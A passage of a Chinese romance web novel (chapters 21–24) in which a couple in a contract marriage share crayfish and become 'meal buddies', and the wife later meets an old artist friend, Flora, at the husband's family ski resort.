明遥的几缕碎发在脸颊旁边不安分地卷着,她没往里看:“不方便我来吗?”
“不是。”季斯舟如梦初醒,喉结滚动了两下,不仅侧身让明遥进来,还接过了明遥手中的所有东西。
沉甸甸的,有很辛辣的、刺激味蕾的香味。
季斯舟才知道自己会错意了。
原来明遥以为自己要回家,是那边。
季斯舟将东西暂时放在桌上,只在鞋柜里找出了一双最小码的男士拖鞋给明遥:“只能将就一下,我之后再去买。”
明遥的脚很小,在这双拖鞋里面更显得纤细。脚趾头圆润,上面还做了贴了漂亮的甲片,墨绿色,上面有小巧的钻,很闪。
他被上面的钻石晃了一下眼睛,抬起头,不再往下看。
“我以为你说要回来一起吃饭,所以买了这些,太多了,我自己吃不完。”
季斯舟还穿着西装,看着就是刚下班回来的模样,她注意到季斯舟的袖子,是昨天她替季斯舟选的袖扣。
片刻后,他把外卖盒放在桌上,把衬衫卷到小臂上。
季斯舟的五官很立体,灯下的光影很明显。他垂下眼没望过来的时候显得很斯文,唯有他小臂上在拿东西时明显的肌肉线条在展示他不加掩饰的侵略性。
他看起来很温柔,但明遥清楚,那只是表象。
季斯舟拉开了位置,提供绅士的服务:“请坐。”
他又接了一句:“抱歉,是我没说清楚,不然我会让厨师在家里做一顿。”
双方都会错了意,但结果是一起吃饭了,挺好。
明遥摇头:“问题不大,我买的是小龙虾。”
季斯舟坐在她的对面,看着外卖盒:“龙虾?”
“小龙虾。”明遥点头,但是季斯舟的表情有些奇怪,又问:“你不喜欢吗?”
男人的微表情切换的很快,但是抵不过明遥观察的也很快,所以被她看出来了。
季斯舟的黑眸眼底有了一丝笑意:“我以为你说的是澳龙。”
明遥:“……”
在她的耳朵里听起来,就代表着季斯舟不吃小龙虾。
两大盆,自己哪里吃的完?
明遥的表情肉眼可见地垮下去一点,闷声道:“那我自己吃,你点个外卖吃别的。”
季斯舟抽出袋子里的一次性手套带在自己的手上:“我没有浪费粮食的习惯。”
小龙虾就小龙虾。
但是他的视线瞥到边上的猪蹄,一凝。
察觉到他的视线,明遥猜想季斯舟不爱吃这个,于是拿公筷戳了戳说:“这个炖的很好的,又有酥皮又软糯,你如果不喜欢吃我来吃就好。”
季斯舟没吱声,视线在猪蹄上盯了好久,又在小龙虾上盯了好久。
明遥的手上做了美甲,就在她要抽出一次性手套的时候,季斯舟扬了扬下巴,“你先吃猪蹄,虾尾我剥给你。”
他又抽出一张纸巾给明遥:“擦口红。”
方便一会儿吃饭。
太细心了,哪怕是明遥见过许多,也要感叹一句的程度。季斯舟的动作太自然了,就像他们是一对真正的新婚夫妻。
明遥自己能感觉到,和季斯舟相处的次数多了之后,她明显不再像一个月前那样还会害怕季斯舟。
明遥没说谢谢,她也该早日习惯身份的改变,哪怕是假的。
她倒上酒,懒洋洋地眯起眼睛,惬意地像是一只猫:“夏天的第一顿小龙虾,干杯。”
季斯舟拆了一边的手套拿起杯子和她轻轻碰了一下,婚戒在灯下微微一闪。
碰完之后他又重新进行剥龙虾的工作。
他的手指漂亮,像是冷白的玉石,且骨节分明,剥起小龙虾来也赏心悦目。明遥停下来看了眼他,忽然感觉两人之间好安静。
明遥不喜欢安静,她虽然一个人住习惯了,但骨子里喜爱真正的喧嚣,不是那种在名利场上的恭维和虚伪的热闹。
她有个习惯,独自在家吃饭的时候总喜欢放点声音。度过了和季斯舟的尴尬前期,现在没聊天的时候,她忽然感觉太安静了。
“怎么了。”季斯舟剥了半碗虾肉放在明遥的手边,看到她放缓的速度,确认了酒是满的,食物是有的。
明遥:“有点安静,放点什么?随便什么内容。”
“打开电视。”
季斯舟的客厅巨屏一打开,里面放的是蜡笔小新在脱了裤子对着屏幕摇屁股。
可以说,和季斯舟这套房子性冷淡风格唯一不搭的就是这个界面。
明遥没忍住笑了出来。
季斯舟面不改色:“不是我放的,换台。”
“不用换也可以。”这种台配版的动画,就是特别适合做背景音来下饭,她是要听,并不是真的要看,所以并不在意里面的内容是什么。
电视根据指令换了台,是樱桃小丸子。
小丸子在说:“耶!吃东西又不累,最适合我了!”
电视成精了,知道她想看下饭剧。明遥觉得好笑又可爱,注意力完全被电视所吸引。
因此没有注意到——
半碗虾肉吃完了,半碗虾肉又回来了。就没有停止过供给。
季斯舟和电视的频道杠上了一样,又说了一遍:“换台。”
这次电视换的节目是百变小樱。
小樱才刚封印完一张库洛牌,可爱地挥舞着自己的权杖说:“变回你原来的样子吧!!!”
明遥也小声念出后面的台词:“变回你原来的样子吧!!库洛牌!”
有点童年记忆,所以她情不自禁地跟着念了。
吃着吃着,发现自己的碗里一直没空过,她才抬头,和季斯舟的视线对在一起。
咦,现在说是口误……还来得及吗?
她又扫一眼对面。
季斯舟的面前是快堆成小山的虾尾壳,明遥不知道在自己沉迷于瞟电视里的动画的时候季斯舟默默做了这么多。
“你自己没吃吗?”
被她的眼神注视着,季斯舟的喉头滚动,又倒了一杯满的冰啤酒。
第二杯了。
他的酒量不好,本来只打算喝一杯。
为明遥破坏自己的原则,已经不止发生过一两次。
“吃了,看你很喜欢吃。”季斯舟说。
“谢谢。你自己也吃。”明遥为了表示自己的礼尚往来,把卤猪蹄往季斯舟的面前推了推,“你要不然尝尝这个?”
“不了。”季斯舟保持着微笑,他素来不尝试这种重油腻的食物。
在小樱和知世兴奋的声音中,明遥终于吃饱了。
打了个饱嗝的同时,家里的氛围灯感应到光线的昏暗,自动打开。
她也望见了窗外的景色。
很漂亮的夕阳染在天空,透过客厅无死角的透明落地窗,拉长了两人在餐桌前相对的影子。
很突兀的,明遥不知想起谁说起过?
最浪漫的故事都在夕阳底下发生
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。
明遥低头笑了笑,她闲的吗,怎么会心里有这样荒谬的想法?
之前那种要和季斯舟见面吃饭的我紧张感已经不见了,她仔细地打量起这套房子。
布置和格局什么的都和自己住的那套差不多,色调更偏暗色,一看……就不像是个有女主人的样子。
明遥吃饱了觉得自己准备把碗筷收拾好,季斯舟止住了她要去收拾碗筷的动作。
“我来。”
季斯舟从她的手里接过东西,顺手拿了湿巾给明遥,好让她擦去带完手套之后有些濡湿的手心。
明遥眨了眨眼睛,低头。
往常她如果吃小龙虾,手套摘下去之后肯定都是油,但是今天没有。因为吃的大多都是季斯舟给她剥的。
明遥无言,目光追随着季斯舟的背后也进了厨房。
厨房的垃圾桶里也有八分满,还有一两个方便食品的袋子露出,很快,被季斯舟手中倒进的新垃圾压了下去。
不会吧。
季斯舟还会吃速食?
脑袋瓜刚出现,嘴巴就已经问了出来:“你这几天都回来了?吃的什么?”
季斯舟不动声色地把那个垃圾桶往里挪了挪,“……都是随便吃点,有时候回来的晚。”
他一个人的时候,如果不是周同有时看不下去的刻意提醒,他根本就操心不了自己的吃饭。
没那么多时间去安排,加上他晚上还要有时间进行规律的锻炼,早睡。
季斯舟实话实说:“有时候工作太忙,顾不上这些。”
明遥笑着低眸:“你真奇怪,明明做菜特别的好吃,却没有时间去给自己做点菜吃。”
季斯舟说:“因为一个人做饭的话,其实份量把握不好,也不方便。”
明遥喃喃道:“那倒也是……”
摸了摸自己的肚皮,圆圆的,吃的很饱,也很满足。
她今天好满意。
那个念头划过心头的时候,明遥甚至没有太意外。只是她很犹豫,理智让她将即将脱口而出的话压了下来。
季斯舟收紧了垃圾袋的口,又麻利地换好了新的。他的围裙还没有摘下来,腰后的绑带跟着他蹲下的动作垂落到地上。
明遥也站在厨房里,在他的面前站着。垂眸,将他所有的动作都看的仔细。
一个人生活习惯了的人是这样的吧?下意识地照顾好自己身边的一切。
季斯舟说:“你去休息下就好,这里我会收好。”
天边的最后一丝晚霞在此刻落下,明遥的声音也如同从天边传来:“季斯舟,你平时什么时候下班?”
季斯舟道:“不加班的时候五点半,最晚六点左右回到家。”
这就是直接在市中心住的好处,哪怕是下班高峰期堵车,走路也很快。
明遥退了两步,站的离季斯舟远了一点。
她瞥他还没站起来的样子,占据着主导地位,话说的温温吞吞:“能蹭饭吗?”
季斯舟的动作顿住,在瞬间起身。
高大颀长的个子在眼前带着迫人的气势展开。
“可以,但是。”季斯舟沉吟片刻,很细微地滚动了一下喉咙,自己并不确定此时说出这句话是否正确。
“但是,我们的关系是不是该重新定义一下。”
“那是自然。”明遥点了头。
季斯舟和她,两个都没时间照顾自己吃饭的人。
还能是什么?
她真心道:“以后我们不仅是合作伙伴,还是饭搭子。”
22. 第 22 章
天黑了。
家里恢复安静,又没人动,氛围灯也随之关闭。
送走了明遥,季斯舟在一片黑暗中,心如犹如死灰一片。
他止不住地想:哪里出了问题,哪里出了问题,哪里到底是哪里出了问题……
骆璟的视频通话弹出来的时候,季斯舟接了。
那边一看到这漆黑,骆璟顿时吓到失语,他把手机的亮光调到最大之后,才看到了季斯舟家的天花板,
“你又emo了?”骆璟捏着自己的眉心,吼道,“小周没在?叫他来把灯开了你再emo。”
季斯舟一直都是这个习惯,他如果想事情或者是心情不好,在家里就都暗着不爱开灯。
这也不是什么臭毛病,偶尔会吓到打电话给他的人罢了。
季斯舟的声音远的像从悬崖边上传来似的:“没空搭理你,有事赶紧说。”
骆璟纠结了一下:“明天我也要去滑雪场,你过去的吧?咱俩一起。”
季斯舟没吱声。
他想到明遥说的要带客户一起去滑雪,才道:“去。”
骆璟道:“那刚好,对了,你把那个军师的联系方式给我行不行,我最近碰到的难题,没有你那那位军师,我铁定解不开。”
骆璟和季斯舟这么多年,对季斯舟的那点心思心知肚明。就这闷葫芦都能成功结婚,那位军师想必真有两把刷子。
骆璟找季斯舟要了两回这军师的联系方式都拿不到,心里更笃定这一定是个高人。
这边季斯舟想到明遥告诉自己的三个字,饭搭子。
军师也不一定完全正确,就比如现在他很怀疑人生。
骆璟在那边喂喂喂半天没听到他说话,就说:“兄弟,你还在emo什么,不是已经结婚了吗?”
纯粹哪壶不开提哪壶,季斯舟沉声:“联系方式我也没有。”
骆璟气笑了:“你是不是兄弟了!你没联系方式,那你现在的老婆天上掉下去给你的?那七年八年的没追到现在突然就是结婚……你不许和我装啊!!!”
季斯舟直接把电话挂了。
黑暗中,他再次打开了手机,略有苦恼地打开了小宏薯。
他是有军师的联系方式,但那算吗?只要点点关注,谁都可以成为就军师的追随者。
而且军师的方法好像不一定奏效。
关注界面显示未读1,今天军师居然更新了。
他对着逐字学习,学着学着心中越发复杂,脸上也越发的冰冷。
【恋爱狗都不谈:追人攻略第二十一式之:饮食口味和就餐注意事项。
吃饭的时候需要和对方的口味达成一致,并且恰到好处的表达自己的魅力和体贴。
有一起吃饭的机会,不要和对方吃那种十分费劲的食物,需要啃咬的东西,比如:螃蟹,猪蹄类,会不太优雅。
不要吃那种味道极大,重油重辣的食物,吃完后可能会有口气。
希望大家都能早日得偿所愿,打卡群我也在,会时不时来看一眼。】
底下有人问:【狗谈老师,那如果对方找我吃饭的时候完全踩中了你说的这些点,对方对我是什么意思?】
博主回复:【两个可能性,一是对方很不拘小节,不在意这些。二就是对方对你没意思,夸史变兄弟。】
季斯舟:……
千万不要点猪蹄类的啃咬食物——明遥点了猪蹄。
也不要尝试重油、重辣,后续味道极重的食物,——明遥的小龙虾,麻辣,蒜香。
今天的打卡贴,季斯舟打的满面都是愁容。
就如帖子里说的那样,明遥还不喜欢他,也如明遥所说,她们是饭搭子。
行。
饭搭子比陌生人强,起码他每天有了正当的理由去见她。
季斯舟面前的窗帘只开了一条小缝,影影绰绰地透露着窗外柔和的光亮。
对面是明遥住的地方,她应该已经到家了。可能开了灯,在看动画片或者是护肤。
那是有关于家的模样。
季斯舟从小便喜静,他的世界太吵了,又常常要围着许多人,他并不喜欢,一个人的时候,他就任由黑暗将自己包裹,安静的暗处会让他觉得安全自在。
但是今天,他忽然感觉有点不习惯。
是哪里不同了。
空气种还有着卤猪蹄的香味,也有残留的麻辣小龙虾。
这些富有生活气息的东西,从前和他的生活格格不入,如今由明遥带了进来,占据着自己的地盘。
他无法想象,只是一天,一个时刻,就让自己多年来的习惯有了改变。
外头,敲门声和明遥的声音同时响起。
“季斯舟,季斯舟?开门。”
季斯舟眼底的诧异很明显,甚至连灯也没开就往玄关去,熟悉的女人又回到了门边,这次季斯舟下意识地将身体侧开,用行动在表示愿意让明遥进来。
明遥扬起笑脸,眼睛里有点不好意思:“走到外面才想起忘记带垃圾出去了,你拿来给我。”
季斯舟的嘴唇微张,黑眸里的情绪叫人看不明白。明遥和他对视了一眼,把季斯舟的沉默理解为他也有点无语,直接道歉:“不好意思。”
蹭饭吃的人,把今天产生的垃圾带出去是传统。
季斯舟打开了家里的灯,从厨房里出来的时候,垃圾袋却提在他自己的手上:“我和你一起出去倒。”
明遥只好跟在他边上,她穿的还是拖鞋,和季斯舟的是情侣款。
“季斯舟,你鞋……没换。”明遥盯着他的鞋,季斯舟个子高腿也长,她要稍微落后一点,不知道季斯舟现在是什么表情。
明遥来的时候着急也穿的拖鞋,但季斯舟怎么也忘记换了?
季斯舟低头看了一眼:“没事,垃圾要快点倒出去。”
真讲卫生,应该是家里一点垃圾的味道都不能有。明遥理解,季斯舟的脚步放慢,两双同款的拖鞋从一前一后慢慢处于同一条线。
明遥不再说话了,就和季斯舟像散步一样地走,她有点后知后觉,才发现自己和季斯舟之间没有讲话居然也没觉得尴尬,她这人爱热闹的,吃个饭都要背景音,居然也能享受这种静谧。
季斯舟忽然说:“这些事情都可以我来的,你请我吃了饭,我不至于让你收拾残局。”
明遥有几分心虚:“之后不都算是你请我吃饭了。”
“那这些也是我应该做的。”季斯舟说,以一个丈夫的角度来说。
明遥没品出什么言外之意,就是觉得季斯舟对自己很客气。她这次和季斯舟吃饭,印象分更好了。
她之前对季斯舟的印象和外人一样,是冷淡严肃,甚至迫人的。
那些人肯定是因为没见过季斯舟穿围裙的样子所以以讹传讹,明遥知道吃人家
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的嘴软,以后她和季斯舟会有很多顿饭吃,她便提前接受了季斯舟是个面冷心热的男人这个设定。
想了想说:“那我买菜回来吧,然后你做饭,我刷碗?”
季斯舟摇头。
“不用。”
明遥的心里咯噔了一下,那就好三个字卡在喉咙,硬生生吞下去。
其实,刚才会想起垃圾还没倒,就是因为明遥想到了吃完饭后谁洗碗的问题没和经四周商量才回去的。
“洗碗?”季斯舟的脸上浮现出淡淡的笑意,手上的垃圾袋丢出去之后,还拿出纸巾来擦了擦手,一副矜贵的模样。
“家里有洗碗机,不用你洗。”
“哦,那……那也需要先把碗收起来,放进洗碗机这种事。”
季斯舟却说:“这个也不需要你来。”
明遥:?
季斯舟说:明遥,你要懂得一些身份的切换,在吃饭的时候,我是你的饭搭子。在准备收拾的时候,我是你的先生,是你的丈夫。”
明遥定住:“麻烦季先生说的再浅显易懂一些。”
季斯舟把擦过手指后的湿巾也丢进了垃圾桶,声线慢条斯理:“使唤丈夫是应该的,所以我做饭,我收拾,我整理,这是应该的。”
他这一番话说的那样的行云流水,明遥不是没见过服务意识好的男人,但是她没想到季斯舟能把这番偷懒的言辞说的这么的伟大。
如此微妙又和谐,她哑口无言,站在原地看了季斯舟好几秒,才找回自己的声音。
“啊。”
她没别的话可说了。
明遥提出那些就是不想让自己觉得欠了季斯舟什么,可是季斯舟把她提出的可能都堵了回去。
明遥做出最后的挣扎:“季先生,那我买菜。”
季斯舟说:“买菜会有人每天定好送来,不用你操心。”
明遥问:“那我能做什么?”
“好好吃饭就好。”已经到了明遥家门口,本来距离就不长,因为两人聊天走的慢,季斯舟转头温声道,“当好我的饭搭子。”
明遥要进去了,又似是想起了什么,又转身回来,小跑到季斯舟的面前,“天黑了在家里开个小灯吧,不然容易摔跤,我看你那样对那边也不是很熟悉。”
她犹豫了一路要不要说,怕季斯舟觉得自己是多管闲事。
未等季斯舟的表情变好,明遥不想让他误会自己管他,又道:“我没有要管你私生活的意思,你要是对那边熟悉了,不开就不开。”
“我之前几次路过你那边,见里面都黑。”明遥给自己找补,“我当时还以为是你没回来……我那个……”
明遥忽然顿住。
越描越黑,这怎么听着像自己时刻在等着季斯舟回来似的?明遥当机立断:“走了。”
手腕上有道小小的阻力,季斯舟只是虚握了一下,很快放开,声音含着笑意:“上周事情多,我是加班到很晚才回来。”
明遥的耳根子发热,不管季斯舟是不是在和自己解释,冲进大门,不管身后如何。
这男人,居然学会和自己开玩笑了?
回家后,玄关处迎接她的就是那个由他俩结婚证组成的摆台。
还有在季斯舟家里一起小龙虾喝啤酒那里,她居然生出了一种自己和季斯舟在过日子的错觉。
拜托……明遥请叹气,怎么感觉这婚结的和真的一样?
23. 第 23 章
明遥想来想去也没想明白这是怎么回事,最后只能选择了睡觉。
这一觉倒是舒服,梦里好像也见到了季斯舟。
她的耳边有他的声音,在对她说:“如果我毁约了呢?”
耳边的热气十分明显,明遥耳朵很敏感,红了又红,却怎么也拨不开。
醒来后,她皱着眉在床上躺了好久,才起床去洗漱。
季斯舟在她的梦里,倒是不像平常见到的那么温和,连接吻都很重。
浓烈的欲望,说不清楚是他的,还是来自潜意识里的自己。
明遥迅速将自己收拾好,心情也重新归于平静。
很正常,明遥告诉自己,说明她是一个有着生理欲望的女性。季斯舟外形那样好,身体被他吸引只能证明自己眼光好。
仅此而已。
明遥下楼与季斯舟碰面,望见在倚在门边等自己的男人,梦中的场景在眼中一闪而过。
她闭了闭眼,平静地和季斯舟打了个招呼。
季斯舟将早餐给她,去滑雪场的路上两人没怎么聊天,车里开着音乐,倒也不尴尬。
明遥还要在门口和钟茗茗汇合,所以和季斯舟在门口便下车。
季斯舟:“一会儿见。”
明遥挥挥手,点头,转头看到了钟茗茗亮晶晶的眼睛。
“季总送你来的吗?哇!”
明遥伸出食指在钟茗茗的唇上一点,止住了她即将脱口而出的甜死我啦这类的话,“谈工作。”
钟茗茗立刻端正:“好好好,昨天通知过Flora的助理了,那边说Flora今天刚好也在这里滑雪,我们一会儿进去后到A区雪道会客厅等她。”
她说完见到明遥带着些微的笑意看着自己,“怎么了明遥姐,我说错了吗?”
“A区是模拟野雪区域,那里没有会客厅。”明遥顺手帮钟茗茗卷了一下围巾,清丽的嗓音透着柔和,“乖宝宝,Flora在逗你玩。”
她的声音不见生气,钟茗茗的脸却一红,觉得围巾暖暖的,转瞬就气道:“逗我的?这个Flora,她真的好大牌……姐你为了拿到Flora的代理权,都多少天了,她居然还逗我们玩!”
“没关系,她会出现的。”明遥领钟茗茗进去,里面温度很低,两人都换上了厚重的衣物。
钟茗茗道:“明遥姐,你和季总一起来的,他不和你一起去滑雪吗?这可是季家的滑雪场,我还以为季总会安排人带着你去呢。”
明遥:“我们都有各自的工作,自己进去就好。”
两人刚换完衣服出来,一位穿着制服的中年男人就跑过来,“明小姐!明小姐!等一等。”
他的胸口上别着总负责人的牌子。
明遥呆了一瞬。
“季先生让我在这里等您的。抱歉,刚才有些事情没来的及。”
明遥的脸:呆滞.jpg
钟茗茗跟在她后面偷偷笑:“季总还是很不放心我的嘛,怕我没把你照顾好,他忙着工作来不了,就让底下的总负责人来。”
什么呀季斯舟……她又不是什么小孩子了。
进去了之后,总负责人带她去休息区。明遥待不住,想先去找到Flora。
钟茗茗问:“既然已经到休息区了,季总是不是等会儿要来找你?”
明遥摇头。
在车上季斯舟大概和自己提了一下,他是过来谈生意的。她和他有各自的工作,明遥没有做季斯舟要来找自己的打算,默认了自己一个人单独行动。
退一万步说,这里本来就是季家的产业,还怕她丢了不成?
明遥还没转头,就听见有熟悉的声音在叫她:“遥遥!这里,来!”
季见宜的身上沾染着凉意,小跑着来找她,滑雪板随意放在一边,被跟在后面的工作人员收起来。
明遥眼尖,发现季见宜用的是之前自己第一次上门的时候,送的那块滑雪板。
“还好赶上了,季斯舟那小子催我催的和什么似的。”季见宜过来便拉起明遥的手,“第一次见他这么怕把一个人丢了,偏偏自己又出不来,开会呢。”
明遥:“……”
她哭笑不得,想着季斯舟偷偷开会玩手机的模样。
还真把自己当孩子了。
她迟疑地往外面看了眼,果真没见到季斯舟来。
季见宜像是看透她心中所想一样:“斯舟一时半会儿过不来,我带你去雪场。”
明遥忙回过头,还嘴硬:“我没找他。”
明明已经忙成这样了,还把自己的事情安排的妥妥当当的干什么。
自己在外久了,明遥不太能接受他人对自己的亲近。
尤其是在和季斯舟相处的时候,当季斯舟对自己很好的时候,明遥摸不清楚他的目的。
她默认两人应该各取所需,季斯舟给她一些,自己也要还相应的,这样两不相欠。
季斯舟明明忙碌还将她的事情安排的妥当,明遥心里感到有些不适应,但……并不排斥。
她突兀地想起曾经医生告诉过她:“明遥,当你学会去接受一切,包括接受自己这样并不是不正常的时候,那就是恢复的开始。”
明遥照做了。
她受不了长久稳定的关系,也无法进入到亲密无间的关系中。
她的接受只体现于——不再去计较一段感情的时限,date的人换了一个又一个,到了气氛点便离开。
明遥要的是热闹的陪伴,不是恋人。一旦对方即将进行投入,明遥就会斩断关系。
最后她确定了,自己好不了,任何人的喜欢对她来说都将成为负担。
反而是和季斯舟从陌生合作的关系开始,才让她感到了安全。
当然,这些都不会被季斯舟所知晓。
*
季斯舟在会议中收到了季见宜发来的人接到了的消息,凝重的神情缓和了下来。
周特助跟在老板的身后悄悄的叹气。
一开始也不知道季总怎么了。
从进会议室里就是低气压的,搞的后面汇报的人如履薄冰,生怕自己一个字的错误就触怒了龙鳞。
还好现在放松了下来。
果然结了婚的男人心思就是好猜,周特助暗自祈祷——明小姐快些来吧。
明遥被季见宜带到了滑雪场,季见宜热络道:“遥遥,一会儿我给你介绍一个我的一个朋友。”
“她滑雪滑的特好,就是上次我去国外玩的时候认识的,她还说我的滑雪板好看,我可骄傲的告诉她这是你送我的。”
明遥惦记着Flora在哪里,左右看看,还能分神来回答:“哪里遇上的?”
“尚尼国际滑雪场。”
明遥的挑挑眉,如此熟悉的名字,“中国人,姓什么?”
“你怎么什么都知道?”季见宜笑起来,拍了拍明遥的手臂,“等一会儿就要见到了,让我卖个关子。”
钟茗茗慢慢地跟在明遥的身边,她觉得好崇拜明遥——好像不管是什么事情,她都一副稳操胜券的模样,自在又自洽,明遥是高高在上的大小姐,却不让人觉得讨厌,只觉得讨喜又光芒万丈。
明明被Flora几次放鸽子,她也一点也不恼。钟茗茗本来还在忐忑若是拿不下Flora的代理权怎么办,现下也慢慢安定下来。
钟茗茗检查着手机里有无错漏的消息,附在明遥的耳边低声说:“Flora的助理在二十五分钟前告诉我她已经到了,但我们不知道她到底长什么样,怎么找得到?”
“没事,她会出现的。”
明遥四下看了一圈,就我看见不远处有人喝彩。
两人一前一后,都穿着滑雪服的身影,滑的单板,看不出男女。只能辨认出在前面那人更纤细一些。
面罩和墨镜也戴的严严实实,什么也看不出来。
“这两人又比赛呢。”季见宜看明遥的视线在看那边,无奈地笑笑,“那里就是我和你说的想介绍给你的朋友。”
明遥:“哪个?”
“会赢的那个。”季见宜狡黠的眨眨眼睛,拉着明遥在一边观战。
哪个会赢?明遥的直觉告诉她,是前面那个个子矮一些的。
但是后面的人忽然发力,经过了陡坡,一跃而下。
急速超过。
“芜湖!”人群里发出惊呼,有人在喊:“骆少牛的啊!加油!”
明遥的视线也被精彩的比赛吸引,两人在滑雪的时候灵巧地避开了场上另外的玩家,还是保持着一前一后。
只是在下一个障碍上,骆璟失策了。
他歪了一下,不知是看到了什么。后面的人因此逮到了机会,迅速地冲了上来,还是用骆璟之前的那个空中炫技进行的反超,冲过了终点线。
明遥和季见宜也忍不住一起鼓掌,为那位赢家。
那人停在明遥的面前,面罩和护目镜都摘下来,露出一张耀眼又自信的笑容,漂亮的金棕色卷发在阳光下熠熠生辉,让她亚裔混血的特征都很明显。
她笑起来有兔牙,鼻尖和下巴都小小的,很精致。眉眼处很深邃,眼睛圆润,不像是纯亚洲的长相。
郑满栀对她伸出手来,狡黠地眨眨眼,像是小兔子:“你好,我是Flora。”
面前的人是郑满栀意料之外的冷静,定定地看着她,半晌露出一个柔和的浅笑。
“小满,我就知道是你。”
钟茗茗:!!!!!
天!又是明遥姐认识的人吗?
看她早就猜到了,郑满栀皱皱眉,小巧的唇也嘟了起来,之后装不下去了,一把把明遥抱住,把她的脸揉了又揉。
“该死的小狐狸,谁叫你什么也不和我说的!我就是回来兴师问罪,折腾折腾你你才长记性!”郑满栀一边气得直哼哼,一边还是继续揉,直到把明遥的脸揉的微微发红,眼里开始有了泛红的湿润。
她把骆璟就晾在一边,看的骆璟和季见宜面面相觑,不敢打扰两人。
明遥任她闹腾自己,也不躲,被这股暖意冲撞的心头发暖,脸上笑意便更是明显。
她与郑满栀在国外的时候相识,当时郑满栀就是小有名气的天赋型自由画家,且郑满栀散漫,画作署名经常换,Flora是其中之一,那个画风明遥一眼就认得出来。
两人是志趣相投的酒友,玩的到一起。
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只是后来明遥去了纽约,和郑满栀碰面少了。
这次家里出事,她来不及和郑满栀说一声便回国,之后更是无暇顾及其他,和国外的事情都断了联系。
一直到现在,明遥已经快两个月没消息。郑满栀生气,气的是明遥国内家里这边出这么大的事,对她还一声不吭。
又心疼,她看明遥瘦了,下巴尖尖的,显得一张瓜子脸更小。
想骂人,看着明遥那张脸又自动消了音,郑满栀看见明遥手指上闪耀的钻戒,怒火有了安放之处。
“我看季斯舟根本就没把你喂好,你看你都受了!我不同意你们在一起!”
骆璟大惊失色:“妹妹,这话可不幸乱说,别被那狗男人听见了……”
他作势要去拉人,却被郑满栀一板子抽开,“滚远点,季斯舟人呢?让他出来!”
既然知道Flora是郑满栀,明遥装都不用装了,她诚恳道:“别说他,我们谈工作不聊私生活,既然现在已经见到我了,是不是可以把代理权给我了?”
“你都不和我叙叙旧!你维护那个男人!”郑满栀一点就炸,捏着明遥的脸颊,“我连旧都没和你叙,你就要和我谈钱,我告诉你……谈钱伤感情。”
明遥乐意让着郑满栀,拍着背给她顺气,软声道:“代理权啦,签约之后系列拍价三千万起,我们只抽百分之二,熟人一点五。”
郑满栀不止城市系列在等待拍卖,起拍价高,加价的更高,之后的收益极为可观。
郑满栀不差钱,她对这些满不在乎,本来拿出城市系列就是逗明遥玩。她冷哼道:“我才不和你签,签约保证金你拿得出来吗?嗯?我就要看看你老公对你好不好,什么男人能让你说结婚就结婚。结了婚还要你在自己公司里受委屈?!”
季见宜道:“斯舟对遥遥还是很死心塌地的,你别用这个为难遥遥,他们夫妻俩只是都事业心比较重。”
郑满栀笑道:“事业心重?那就别要遥遥来代理我这三千万的城市系列赚个几百万代理费,拿出三千万来给她玩就好,他舍不舍得?”
明遥知道郑满栀的性格,嘴没个把门的,心里想什么就说什么,其实中心思想就是一个——你这老公到底对你好不好?
郑满栀是典型的娘家人心态,要稳住她,就要让她相信自己和季斯舟之间的感情。
要是只有自己和郑满栀两个人,明遥还能直接和郑满栀说实话。但是现在季见宜在,她答应过季斯舟的,要在家人的面前保持人设。
她顺着便答:“你在说什么瞎话,我老公对我好得很,不要说三千万,三个亿也拿出来给我玩的。”
明遥说的很有底气,毕竟签合约的时候,季斯舟说自己违约的话,就把自己公司全赔给她。
开玩笑,那可不止几个亿了!谁说这不是拿出来玩呢。
季见宜心说你怎么知道我弟弟那个鬼德行,还没来得及在那给明遥帮腔,就看见明遥的身后,身穿黑色大衣的男人在稳步走来。
漫漫白雪中的颀长一抹黑,他整个人都显得冷清肃杀,视线却很专注地凝于一点,那个笑起来娇艳漂亮的聚焦点,是他唯一的目的地。
季斯舟面色沉稳冷静,还未听见自己老婆和人在讲什么。
因为季见宜也在,明遥开始故意对季斯舟大夸特夸:
“我瘦了不是因为我老公,还不是因为被家里那两个气的,你又不是不知道?我老公对我很好的。”明遥嗔郑满栀一眼,撒娇似地摇一下她的胳膊,老公两个字也叫的越来越顺口。
郑满栀差点破功,脸都快板不起来了。她最是受用明遥的撒娇,放柔的声线,带点御气的婉转嗓音,不太像发嗲,像哄又像服软,让人骨头都酥了。
不行啊不行啊郑满栀,这是温柔陷阱……她强迫自己快醒过来。
“对你好在哪里?都没有发官宣朋友圈也没有婚礼,见你家人了吗!有好好和你一起吃饭吗!”
明遥道:“我的家人都入土了,他见不到,小满,好栀栀,你不能为难人啊,我老公总不能去地底下见我家人……”
季见宜忍不住笑了出来。
“我老公他每天都在家做饭给吃的,昨天还吃了小龙虾,你看。”明遥把昨天刚好拍的照片给郑满栀看。
小龙虾配啤酒,还有满满的一碗虾尾肉,啤酒还在冒气泡,看上去相当地惬意。
“你居然和他一起吃了夏天的第一顿小龙虾!你,你……”郑满栀定睛一看,发现照片的边角处有一双手入镜,修长分明的手指上沾着油,底下全是虾尾壳。
是谁剥的,一目了然。
郑满栀本来还想骂两句,顿时如鲠在喉。
明遥见自己的照片攻势有效,还给她看另一张的卤猪蹄:“你看,还吃了卤猪蹄,他和我们在国外见到的那些让我去高级餐厅吃饭的男人们都不一样。”
“你魔怔了魔怔了魔怔啦!季斯舟就有这么让你着迷吗!那他人呢!?”听完她的描述,郑满栀直接两眼一黑,对着明遥一阵猛地摇晃。
明遥晕头转向,腰上却轻轻覆盖手掌,她被人扶稳了。
那人声音低沉磁性:“你好,请问你和我太太的关系是?”
24. 第 24 章
“请问你和我太太的关系是?”
被一问,郑满栀微微仰起头去看男人。
我靠,怎么比报纸上拍的照片还高那么多?
明遥立刻对季斯舟介绍了郑满栀:“我好朋友郑满栀。”
骆璟:“也是Flora,我那在国外多年终于又回来的小妹妹,没想到还是我们遥遥妹妹的朋友,果然长得漂亮的人都在一起玩。”
季斯舟颔首,声音淡淡:“幸会。”
这种上位者的温和也带着迫人的气息,郑满栀忍不住后退了一步。
郑满栀:“……”
被季斯舟身上的气场震到了两秒,郑满栀实在想象不出来这样一个冷冷淡淡的男人,昨天居然还在饭桌上给明遥无怨无悔的剥虾。
这男人帅是真的帅,难怪那么多人惦记。以前华人圈里的聚会,若是有季斯舟来过的,之后的一周都是热烈的谈资。
在外表方面,勉强地算是和明遥相配了。
季见宜:“现在倒刚好,我在国外比赛的时候认识满栀的时候就想着可以给遥遥做客户,没想到两个竟然是认识的!果然,咱们家的女人就没有不行的。”
